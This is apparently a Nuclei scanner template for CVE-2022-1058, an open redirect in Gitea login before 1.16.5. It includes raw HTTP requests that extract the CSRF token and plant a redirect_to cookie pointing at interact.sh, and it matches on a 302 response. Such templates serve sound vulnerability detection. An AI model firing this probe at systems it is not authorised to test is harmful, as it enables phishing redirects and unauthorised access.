id: CVE-2022-1058 info: name: Gitea <1.16.5 - Open Redirect author: theamanrawat severity: medium description: | Gitea before 1.16.5 is susceptible to open redirect via GitHub repository go-gitea/gitea. An attacker can redirect a user to a malicious site and potentially obtain sensitive information, modify data, and/or execute unauthorized operations. reference: - https://github.com/go-gitea/gitea/commit/e3d8e92bdc67562783de9a76b5b7842b68daeb48 - https://huntr.dev/bounties/4fb42144-ac70-4f76-a5e1-ef6b5e55dc0d - https://nvd.nist.gov/vuln/detail/CVE-2022-1058 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-1058 cwe-id: CWE-601 metadata: shodan-query: title:"Gitea" verified: "true" tags: huntr,cve,cve2022,open-redirect,gitea requests: - raw: - | GET /user/login HTTP/1.1 Host: {{Hostname}} - | POST /user/login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Cookie: redirect_to=//interact.sh _csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}} extractors: - type: regex name: csrf internal: true group: 1 regex: - 'name="_csrf" value="(.*)"' matchers-condition: and matchers: - type: word part: header_2 words: - "//interact.sh" - type: status status: - 302 # Enhanced by md on 2023/04/13